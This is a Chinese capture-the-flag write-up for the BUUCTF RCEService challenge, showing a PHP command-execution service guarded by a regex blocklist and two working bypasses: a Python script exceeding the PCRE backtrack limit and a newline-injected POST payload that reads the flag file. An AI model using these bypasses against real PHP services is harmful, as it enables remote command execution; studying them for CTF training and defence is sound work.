BUUCTF-WEB 【FBCTF2019】RCEService 1

考点:正则PCRE回溯匹配绕过、换行绕过

打开

image-20210424162305687

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
# 设置当前php文件运行的环境变量
putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

这道题有些问题,源码是从别人wp来的,但是别人也没说源码怎么来的。

不管怎么样,这道题学到了绕过preg_match正则匹配的两种方式。

第一种方式

PCRE回溯绕过

p神讲得很好https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

这里直接贴脚本

1
2
3
4
5
6
7
8
9
import requests

url = "http://3f0c0ea0-47c8-4ae8-8f1c-dcd5c21ec12d.node3.buuoj.cn"

payload = '{"cmd": "/bin/cat /home/rceservice/flag", "zz": "'+"a"*(1000000)+'"}'

res = requests.post(url, data={"cmd": payload}, timeout=10)

print(res.text)

image-20210424162237667

第二种方式

换行绕过

payload

1
2
POST:
cmd={%0a"cmd"%3a+"/bin/cat+/home/rceservice/flag"%0a}

image-20210424162415306

这道题处于懵懂状态。